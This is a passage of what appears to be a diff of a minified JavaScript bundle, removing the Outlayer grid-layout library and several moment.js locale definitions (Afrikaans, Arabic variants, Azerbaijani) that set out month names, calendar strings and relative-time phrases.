this.height >= e.height - }; - return t - }) -}, function (e, t, i) { - var n, r; - (function (a, s) { - "use strict"; - if (true) { - !(n = [i(4), i(3), i(141), i(143)], r = function (e, t, i, n) { - return s(a, e, t, i, n) - }.apply(t, n), r !== undefined && (e.exports = r)) - } else if (typeof e == "object" && e.exports) { - e.exports = s(a, require("ev-emitter"), require("get-size"), require("fizzy-ui-utils"), require("./item")) - } else { - a.Outlayer = s(a, a.EvEmitter, a.getSize, a.fizzyUIUtils, a.Outlayer.Item) - } - })(window, function e(t, i, n, r, a) { - "use strict"; - var s = t.console; - var o = t.jQuery; - var l = function () {}; - var u = 0; - var d = {}; - - function f(e, t) { - var i = r.getQueryElement(e); - if (!i) { - if (s) { - s.error("Bad element for " + this.constructor.namespace + ": " + (i || e)) - } - return - } - this.element = i; - if (o) { - this.$element = o(this.element) - } - this.options = r.extend({}, this.constructor.defaults); - this.option(t); - var n = ++u; - this.element.outlayerGUID = n; - d[n] = this; - this._create(); - var a = this._getOption("initLayout"); - if (a) { - this.layout() - } - } - f.namespace = "outlayer"; - f.Item = a; - f.defaults = { - containerStyle: { - position: "relative" - }, - initLayout: true, - originLeft: true, - originTop: true, - resize: true, - resizeContainer: true, - transitionDuration: "0.4s", - hiddenStyle: { - opacity: 0, - transform: "scale(0.001)" - }, - visibleStyle: { - opacity: 1, - transform: "scale(1)" - } - }; - var c = f.prototype; - r.extend(c, i.prototype); - c.option = function (e) { - r.extend(this.options, e) - }; - c._getOption = function (e) { - var t = this.constructor.compatOptions[e]; - return t && this.options[t] !== undefined ? this.options[t] : this.options[e] - }; - f.compatOptions = { - initLayout: "isInitLayout", - horizontal: "isHorizontal", - layoutInstant: "isLayoutInstant", - originLeft: "isOriginLeft", - originTop: "isOriginTop", - resize: "isResizeBound", - resizeContainer: "isResizingContainer" - }; - c._create = function () { - this.reloadItems(); - this.stamps = []; - this.stamp(this.options.stamp); - r.extend(this.element.style, this.options.containerStyle); - var e = this._getOption("resize"); - if (e) { - this.bindResize() - } - }; - c.reloadItems = function () { - this.items = this._itemize(this.element.children) - }; - c._itemize = function (e) { - var t = this._filterFindItemElements(e); - var i = this.constructor.Item; - var n = []; - for (var r = 0; r < t.length; r++) { - var a = t[r]; - var s = new i(a, this); - n.push(s) - } - return n - }; - c._filterFindItemElements = function (e) { - return r.filterFindElements(e, this.options.itemSelector) - }; - c.getItemElements = function () { - return this.items.map(function (e) { - return e.element - }) - }; - c.layout = function () { - this._resetLayout(); - this._manageStamps(); - var e = this._getOption("layoutInstant"); - var t = e !== undefined ? e : !this._isLayoutInited; - this.layoutItems(this.items, t); - this._isLayoutInited = true - }; - c._init = c.layout; - c._resetLayout = function () { - this.getSize() - }; - c.getSize = function () { - this.size = n(this.element) - }; - c._getMeasurement = function (e, t) { - var i = this.options[e]; - var r; - if (!i) { - this[e] = 0 - } else { - if (typeof i == "string") { - r = this.element.querySelector(i) - } else if (i instanceof HTMLElement) { - r = i - } - this[e] = r ? n(r)[t] : i - } - }; - c.layoutItems = function (e, t) { - e = this._getItemsForLayout(e); - this._layoutItems(e, t); - this._postLayout() - }; - c._getItemsForLayout = function (e) { - return e.filter(function (e) { - return !e.isIgnored - }) - }; - c._layoutItems = function (e, t) { - this._emitCompleteOnItems("layout", e); - if (!e || !e.length) { - return - } - var i = []; - e.forEach(function (e) { - var n = this._getItemLayoutPosition(e); - n.item = e; - n.isInstant = t || e.isLayoutInstant; - i.push(n) - }, this); - this._processLayoutQueue(i) - }; - c._getItemLayoutPosition = function () { - return { - x: 0, - y: 0 - } - }; - c._processLayoutQueue = function (e) { - this.updateStagger(); - e.forEach(function (e, t) { - this._positionItem(e.item, e.x, e.y, e.isInstant, t) - }, this) - }; - c.updateStagger = function () { - var e = this.options.stagger; - if (e === null || e === undefined) { - this.stagger = 0; - return - } - this.stagger = p(e); - return this.stagger - }; - c._positionItem = function (e, t, i, n, r) { - if (n) { - e.goTo(t, i) - } else { - e.stagger(r * this.stagger); - e.moveTo(t, i) - } - }; - c._postLayout = function () { - this.resizeContainer() - }; - c.resizeContainer = function () { - var e = this._getOption("resizeContainer"); - if (!e) { - return - } - var t = this._getContainerSize(); - if (t) { - this._setContainerMeasure(t.width, true); - this._setContainerMeasure(t.height, false) - } - }; - c._getContainerSize = l; - c._setContainerMeasure = function (e, t) { - if (e === undefined) { - return - } - var i = this.size; - if (i.isBorderBox) { - e += t ? i.paddingLeft + i.paddingRight + i.borderLeftWidth + i.borderRightWidth : i.paddingBottom + i.paddingTop + i.borderTopWidth + i.borderBottomWidth - } - e = Math.max(e, 0); - this.element.style[t ? "width" : "height"] = e + "px" - }; - c._emitCompleteOnItems = function (e, t) { - var i = this; - - function n() { - i.dispatchEvent(e + "Complete", null, [t]) - } - var r = t.length; - if (!t || !r) { - n(); - return - } - var a = 0; - - function s() { - a++; - if (a == r) { - n() - } - } - t.forEach(function (t) { - t.once(e, s) - }) - }; - c.dispatchEvent = function (e, t, i) { - var n = t ? [t].concat(i) : i; - this.emitEvent(e, n); - if (o) { - this.$element = this.$element || o(this.element); - if (t) { - var r = o.Event(t); - r.type = e; - this.$element.trigger(r, i) - } else { - this.$element.trigger(e, i) - } - } - }; - c.ignore = function (e) { - var t = this.getItem(e); - if (t) { - t.isIgnored = true - } - }; - c.unignore = function (e) { - var t = this.getItem(e); - if (t) { - delete t.isIgnored - } - }; - c.stamp = function (e) { - e = this._find(e); - if (!e) { - return - } - this.stamps = this.stamps.concat(e); - e.forEach(this.ignore, this) - }; - c.unstamp = function (e) { - e = this._find(e); - if (!e) { - return - } - e.forEach(function (e) { - r.removeFrom(this.stamps, e); - this.unignore(e) - }, this) - }; - c._find = function (e) { - if (!e) { - return - } - if (typeof e == "string") { - e = this.element.querySelectorAll(e) - } - e = r.makeArray(e); - return e - }; - c._manageStamps = function () { - if (!this.stamps || !this.stamps.length) { - return - } - this._getBoundingRect(); - this.stamps.forEach(this._manageStamp, this) - }; - c._getBoundingRect = function () { - var e = this.element.getBoundingClientRect(); - var t = this.size; - this._boundingRect = { - left: e.left + t.paddingLeft + t.borderLeftWidth, - top: e.top + t.paddingTop + t.borderTopWidth, - right: e.right - (t.paddingRight + t.borderRightWidth), - bottom: e.bottom - (t.paddingBottom + t.borderBottomWidth) - } - }; - c._manageStamp = l; - c._getElementOffset = function (e) { - var t = e.getBoundingClientRect(); - var i = this._boundingRect; - var r = n(e); - var a = { - left: t.left - i.left - r.marginLeft, - top: t.top - i.top - r.marginTop, - right: i.right - t.right - r.marginRight, - bottom: i.bottom - t.bottom - r.marginBottom - }; - return a - }; - c.handleEvent = r.handleEvent; - c.bindResize = function () { - t.addEventListener("resize", this); - this.isResizeBound = true - }; - c.unbindResize = function () { - t.removeEventListener("resize", this); - this.isResizeBound = false - }; - c.onresize = function () { - this.resize() - }; - r.debounceMethod(f, "onresize", 100); - c.resize = function () { - if (!this.isResizeBound || !this.needsResizeLayout()) { - return - } - this.layout() - }; - c.needsResizeLayout = function () { - var e = n(this.element); - var t = this.size && e; - return t && e.innerWidth !== this.size.innerWidth - }; - c.addItems = function (e) { - var t = this._itemize(e); - if (t.length) { - this.items = this.items.concat(t) - } - return t - }; - c.appended = function (e) { - var t = this.addItems(e); - if (!t.length) { - return - } - this.layoutItems(t, true); - this.reveal(t) - }; - c.prepended = function (e) { - var t = this._itemize(e); - if (!t.length) { - return - } - var i = this.items.slice(0); - this.items = t.concat(i); - this._resetLayout(); - this._manageStamps(); - this.layoutItems(t, true); - this.reveal(t); - this.layoutItems(i) - }; - c.reveal = function (e) { - this._emitCompleteOnItems("reveal", e); - if (!e || !e.length) { - return - } - var t = this.updateStagger(); - e.forEach(function (e, i) { - e.stagger(i * t); - e.reveal() - }) - }; - c.hide = function (e) { - this._emitCompleteOnItems("hide", e); - if (!e || !e.length) { - return - } - var t = this.updateStagger(); - e.forEach(function (e, i) { - e.stagger(i * t); - e.hide() - }) - }; - c.revealItemElements = function (e) { - var t = this.getItems(e); - this.reveal(t) - }; - c.hideItemElements = function (e) { - var t = this.getItems(e); - this.hide(t) - }; - c.getItem = function (e) { - for (var t = 0; t < this.items.length; t++) { - var i = this.items[t]; - if (i.element == e) { - return i - } - } - }; - c.getItems = function (e) { - e = r.makeArray(e); - var t = []; - e.forEach(function (e) { - var i = this.getItem(e); - if (i) { - t.push(i) - } - }, this); - return t - }; - c.remove = function (e) { - var t = this.getItems(e); - this._emitCompleteOnItems("remove", t); - if (!t || !t.length) { - return - } - t.forEach(function (e) { - e.remove(); - r.removeFrom(this.items, e) - }, this) - }; - c.destroy = function () { - var e = this.element.style; - e.height = ""; - e.position = ""; - e.width = ""; - this.items.forEach(function (e) { - e.destroy() - }); - this.unbindResize(); - var t = this.element.outlayerGUID; - delete d[t]; - delete this.element.outlayerGUID; - if (o) { - o.removeData(this.element, this.constructor.namespace) - } - }; - f.data = function (e) { - e = r.getQueryElement(e); - var t = e && e.outlayerGUID; - return t && d[t] - }; - f.create = function (e, t) { - var i = h(f); - i.defaults = r.extend({}, f.defaults); - r.extend(i.defaults, t); - i.compatOptions = r.extend({}, f.compatOptions); - i.namespace = e; - i.data = f.data; - i.Item = h(a); - r.htmlInit(i, e); - if (o && o.bridget) { - o.bridget(e, i) - } - return i - }; - - function h(e) { - function t() { - e.apply(this, arguments) - } - t.prototype = Object.create(e.prototype); - t.prototype.constructor = t; - return t - } - var m = { - ms: 1, - s: 1e3 - }; - - function p(e) { - if (typeof e == "number") { - return e - } - var t = e.match(/(^\d*\.?\d*)(\w*)/); - var i = t && t[1]; - var n = t && t[2]; - if (!i.length) { - return 0 - } - i = parseFloat(i); - var r = m[n] || 1; - return i * r - } - f.Item = a; - return f - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("af", { - months: "Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember".split("_"), - monthsShort: "Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des".split("_"), - weekdays: "Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag".split("_"), - weekdaysShort: "Son_Maa_Din_Woe_Don_Vry_Sat".split("_"), - weekdaysMin: "So_Ma_Di_Wo_Do_Vr_Sa".split("_"), - meridiemParse: /vm|nm/i, - isPM: function (e) { - return /^nm$/i.test(e) - }, - meridiem: function (e, t, i) { - if (e < 12) { - return i ? "vm" : "VM" - } else { - return i ? "nm" : "NM" - } - }, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Vandag om] LT", - nextDay: "[Môre om] LT", - nextWeek: "dddd [om] LT", - lastDay: "[Gister om] LT", - lastWeek: "[Laas] dddd [om] LT", - sameElse: "L" - }, - relativeTime: { - future: "oor %s", - past: "%s gelede", - s: "'n paar sekondes", - ss: "%d sekondes", - m: "'n minuut", - mm: "%d minute", - h: "'n uur", - hh: "%d ure", - d: "'n dag", - dd: "%d dae", - M: "'n maand", - MM: "%d maande", - y: "'n jaar", - yy: "%d jaar" - }, - dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, - ordinal: function (e) { - return e + (e === 1 || e === 8 || e >= 20 ? "ste" : "de") - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "١", - 2: "٢", - 3: "٣", - 4: "٤", - 5: "٥", - 6: "٦", - 7: "٧", - 8: "٨", - 9: "٩", - 0: "٠" - }, - i = { - "١": "1", - "٢": "2", - "٣": "3", - "٤": "4", - "٥": "5", - "٦": "6", - "٧": "7", - "٨": "8", - "٩": "9", - "٠": "0" - }, - n = function (e) { - return e === 0 ? 0 : e === 1 ? 1 : e === 2 ? 2 : e % 100 >= 3 && e % 100 <= 10 ? 3 : e % 100 >= 11 ? 4 : 5 - }, - r = { - s: ["أقل من ثانية", "ثانية واحدة", ["ثانيتان", "ثانيتين"], "%d ثوان", "%d ثانية", "%d ثانية"], - m: ["أقل من دقيقة", "دقيقة واحدة", ["دقيقتان", "دقيقتين"], "%d دقائق", "%d دقيقة", "%d دقيقة"], - h: ["أقل من ساعة", "ساعة واحدة", ["ساعتان", "ساعتين"], "%d ساعات", "%d ساعة", "%d ساعة"], - d: ["أقل من يوم", "يوم واحد", ["يومان", "يومين"], "%d أيام", "%d يومًا", "%d يوم"], - M: ["أقل من شهر", "شهر واحد", ["شهران", "شهرين"], "%d أشهر", "%d شهرا", "%d شهر"], - y: ["أقل من عام", "عام واحد", ["عامان", "عامين"], "%d أعوام", "%d عامًا", "%d عام"] - }, - a = function (e) { - return function (t, i, a, s) { - var o = n(t), - l = r[e][n(t)]; - if (o === 2) { - l = l[i ? 0 : 1] - } - return l.replace(/%d/i, t) - } - }, - s = ["يناير", "فبراير", "مارس", "أبريل", "مايو", "يونيو", "يوليو", "أغسطس", "سبتمبر", "أكتوبر", "نوفمبر", "ديسمبر"]; - var o = e.defineLocale("ar", { - months: s, - monthsShort: s, - weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), - weekdaysShort: "أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"), - weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "D/‏M/‏YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - meridiemParse: /ص|م/, - isPM: function (e) { - return "م" === e - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "ص" - } else { - return "م" - } - }, - calendar: { - sameDay: "[اليوم عند الساعة] LT", - nextDay: "[غدًا عند الساعة] LT", - nextWeek: "dddd [عند الساعة] LT", - lastDay: "[أمس عند الساعة] LT", - lastWeek: "dddd [عند الساعة] LT", - sameElse: "L" - }, - relativeTime: { - future: "بعد %s", - past: "منذ %s", - s: a("s"), - ss: a("s"), - m: a("m"), - mm: a("m"), - h: a("h"), - hh: a("h"), - d: a("d"), - dd: a("d"), - M: a("M"), - MM: a("M"), - y: a("y"), - yy: a("y") - }, - preparse: function (e) { - return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (e) { - return i[e] - }).replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }).replace(/,/g, "،") - }, - week: { - dow: 6, - doy: 12 - } - }); - return o - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ar-dz", { - months: "جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), - monthsShort: "جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), - weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), - weekdaysShort: "احد_اثنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"), - weekdaysMin: "أح_إث_ثلا_أر_خم_جم_سب".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[اليوم على الساعة] LT", - nextDay: "[غدا على الساعة] LT", - nextWeek: "dddd [على الساعة] LT", - lastDay: "[أمس على الساعة] LT", - lastWeek: "dddd [على الساعة] LT", - sameElse: "L" - }, - relativeTime: { - future: "في %s", - past: "منذ %s", - s: "ثوان", - ss: "%d ثانية", - m: "دقيقة", - mm: "%d دقائق", - h: "ساعة", - hh: "%d ساعات", - d: "يوم", - dd: "%d أيام", - M: "شهر", - MM: "%d أشهر", - y: "سنة", - yy: "%d سنوات" - }, - week: { - dow: 0, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ar-kw", { - months: "يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"), - monthsShort: "يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"), - weekdays: "الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), - weekdaysShort: "احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"), - weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[اليوم على الساعة] LT", - nextDay: "[غدا على الساعة] LT", - nextWeek: "dddd [على الساعة] LT", - lastDay: "[أمس على الساعة] LT", - lastWeek: "dddd [على الساعة] LT", - sameElse: "L" - }, - relativeTime: { - future: "في %s", - past: "منذ %s", - s: "ثوان", - ss: "%d ثانية", - m: "دقيقة", - mm: "%d دقائق", - h: "ساعة", - hh: "%d ساعات", - d: "يوم", - dd: "%d أيام", - M: "شهر", - MM: "%d أشهر", - y: "سنة", - yy: "%d سنوات" - }, - week: { - dow: 0, - doy: 12 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "1", - 2: "2", - 3: "3", - 4: "4", - 5: "5", - 6: "6", - 7: "7", - 8: "8", - 9: "9", - 0: "0" - }, - i = function (e) { - return e === 0 ? 0 : e === 1 ? 1 : e === 2 ? 2 : e % 100 >= 3 && e % 100 <= 10 ? 3 : e % 100 >= 11 ? 4 : 5 - }, - n = { - s: ["أقل من ثانية", "ثانية واحدة", ["ثانيتان", "ثانيتين"], "%d ثوان", "%d ثانية", "%d ثانية"], - m: ["أقل من دقيقة", "دقيقة واحدة", ["دقيقتان", "دقيقتين"], "%d دقائق", "%d دقيقة", "%d دقيقة"], - h: ["أقل من ساعة", "ساعة واحدة", ["ساعتان", "ساعتين"], "%d ساعات", "%d ساعة", "%d ساعة"], - d: ["أقل من يوم", "يوم واحد", ["يومان", "يومين"], "%d أيام", "%d يومًا", "%d يوم"], - M: ["أقل من شهر", "شهر واحد", ["شهران", "شهرين"], "%d أشهر", "%d شهرا", "%d شهر"], - y: ["أقل من عام", "عام واحد", ["عامان", "عامين"], "%d أعوام", "%d عامًا", "%d عام"] - }, - r = function (e) { - return function (t, r, a, s) { - var o = i(t), - l = n[e][i(t)]; - if (o === 2) { - l = l[r ? 0 : 1] - } - return l.replace(/%d/i, t) - } - }, - a = ["يناير", "فبراير", "مارس", "أبريل", "مايو", "يونيو", "يوليو", "أغسطس", "سبتمبر", "أكتوبر", "نوفمبر", "ديسمبر"]; - var s = e.defineLocale("ar-ly", { - months: a, - monthsShort: a, - weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), - weekdaysShort: "أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"), - weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "D/‏M/‏YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - meridiemParse: /ص|م/, - isPM: function (e) { - return "م" === e - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "ص" - } else { - return "م" - } - }, - calendar: { - sameDay: "[اليوم عند الساعة] LT", - nextDay: "[غدًا عند الساعة] LT", - nextWeek: "dddd [عند الساعة] LT", - lastDay: "[أمس عند الساعة] LT", - lastWeek: "dddd [عند الساعة] LT", - sameElse: "L" - }, - relativeTime: { - future: "بعد %s", - past: "منذ %s", - s: r("s"), - ss: r("s"), - m: r("m"), - mm: r("m"), - h: r("h"), - hh: r("h"), - d: r("d"), - dd: r("d"), - M: r("M"), - MM: r("M"), - y: r("y"), - yy: r("y") - }, - preparse: function (e) { - return e.replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }).replace(/,/g, "،") - }, - week: { - dow: 6, - doy: 12 - } - }); - return s - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ar-ma", { - months: "يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"), - monthsShort: "يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"), - weekdays: "الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), - weekdaysShort: "احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"), - weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[اليوم على الساعة] LT", - nextDay: "[غدا على الساعة] LT", - nextWeek: "dddd [على الساعة] LT", - lastDay: "[أمس على الساعة] LT", - lastWeek: "dddd [على الساعة] LT", - sameElse: "L" - }, - relativeTime: { - future: "في %s", - past: "منذ %s", - s: "ثوان", - ss: "%d ثانية", - m: "دقيقة", - mm: "%d دقائق", - h: "ساعة", - hh: "%d ساعات", - d: "يوم", - dd: "%d أيام", - M: "شهر", - MM: "%d أشهر", - y: "سنة", - yy: "%d سنوات" - }, - week: { - dow: 6, - doy: 12 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "١", - 2: "٢", - 3: "٣", - 4: "٤", - 5: "٥", - 6: "٦", - 7: "٧", - 8: "٨", - 9: "٩", - 0: "٠" - }, - i = { - "١": "1", - "٢": "2", - "٣": "3", - "٤": "4", - "٥": "5", - "٦": "6", - "٧": "7", - "٨": "8", - "٩": "9", - "٠": "0" - }; - var n = e.defineLocale("ar-sa", { - months: "يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), - monthsShort: "يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), - weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), - weekdaysShort: "أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"), - weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - meridiemParse: /ص|م/, - isPM: function (e) { - return "م" === e - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "ص" - } else { - return "م" - } - }, - calendar: { - sameDay: "[اليوم على الساعة] LT", - nextDay: "[غدا على الساعة] LT", - nextWeek: "dddd [على الساعة] LT", - lastDay: "[أمس على الساعة] LT", - lastWeek: "dddd [على الساعة] LT", - sameElse: "L" - }, - relativeTime: { - future: "في %s", - past: "منذ %s", - s: "ثوان", - ss: "%d ثانية", - m: "دقيقة", - mm: "%d دقائق", - h: "ساعة", - hh: "%d ساعات", - d: "يوم", - dd: "%d أيام", - M: "شهر", - MM: "%d أشهر", - y: "سنة", - yy: "%d سنوات" - }, - preparse: function (e) { - return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (e) { - return i[e] - }).replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }).replace(/,/g, "،") - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ar-tn", { - months: "جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), - monthsShort: "جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), - weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), - weekdaysShort: "أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"), - weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[اليوم على الساعة] LT", - nextDay: "[غدا على الساعة] LT", - nextWeek: "dddd [على الساعة] LT", - lastDay: "[أمس على الساعة] LT", - lastWeek: "dddd [على الساعة] LT", - sameElse: "L" - }, - relativeTime: { - future: "في %s", - past: "منذ %s", - s: "ثوان", - ss: "%d ثانية", - m: "دقيقة", - mm: "%d دقائق", - h: "ساعة", - hh: "%d ساعات", - d: "يوم", - dd: "%d أيام", - M: "شهر", - MM: "%d أشهر", - y: "سنة", - yy: "%d سنوات" - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "-inci", - 5: "-inci", - 8: "-inci", - 70: "-inci", - 80: "-inci", - 2: "-nci", - 7: "-nci", - 20: "-nci", - 50: "-nci", - 3: "-üncü", - 4: "-üncü", - 100: "-üncü", - 6: "-ncı", - 9: "-uncu", - 10: "-uncu", - 30: "-uncu", - 60: "-ıncı", - 90: "-ıncı" - }; - var i = e.defineLocale("az", { - months: "yanvar_fevral_mart_aprel_may_iyun_iyul_avqust_sentyabr_oktyabr_noyabr_dekabr".split("_"), - monthsShort: "yan_fev_mar_apr_may_iyn_iyl_avq_sen_okt_noy_dek".split("_"), - weekdays: "Bazar_Bazar ertəsi_Çərşənbə axşamı_Çərşənbə_Cümə axşamı_Cümə_Şənbə".split("_"), - weekdaysShort: "Baz_BzE_ÇAx_Çər_CAx_Cüm_Şən".split("_"), - weekdaysMin: "Bz_BE_ÇA_Çə_CA_Cü_Şə".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[bugün saat] LT", - nextDay: "[sabah saat] LT", - nextWeek: "[gələn həftə] dddd [saat] LT", - lastDay: "[dünən] LT", - lastWeek: "[keçən həftə] dddd [saat] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s sonra", - past: "%s əvvəl", - s: "birneçə saniyə", - ss: "%d saniyə", - m: "bir dəqiqə", - mm: "%d dəqiqə", - h: "bir saat", - hh: "%d saat", - d: "bir gün", - dd: "%d gün", - M: "bir ay", - MM: "%d ay", - y: "bir il", - yy: "%d il" - }, - meridiemParse: /gecə|səhər|gündüz|axşam/, - isPM: function (e) { - return /^(gündüz|axşam)$/.test(e) - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "gecə" - } else if (e < 12) { - return "səhər" - } else if (e < 17) { - return "gündüz" - } else { - return "axşam" - } - }, - dayOfMonthOrdinalParse: /\d{1,2}-(ıncı|inci|nci|üncü|ncı|uncu)/, - ordinal: function (e) { - if (e === 0) { - return e + "-ıncı" - } - var i = e % 10, - n = e % 100 - i, - r = e >= 100 ? 100 : null; - return e + (t[i] || t[n] || t[r]) - }, - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t) { - var i = e.split("_"); - return t % 10 === 1 && t % 100 !== 11 ? i[0] : t % 10 >= 2 && t % 10 <= 4 && (t % 100 < 10 || t % 100 >= 20) ? i[1] : i[2] - } - - function i(e, i, n) { - var r = { - ss: i 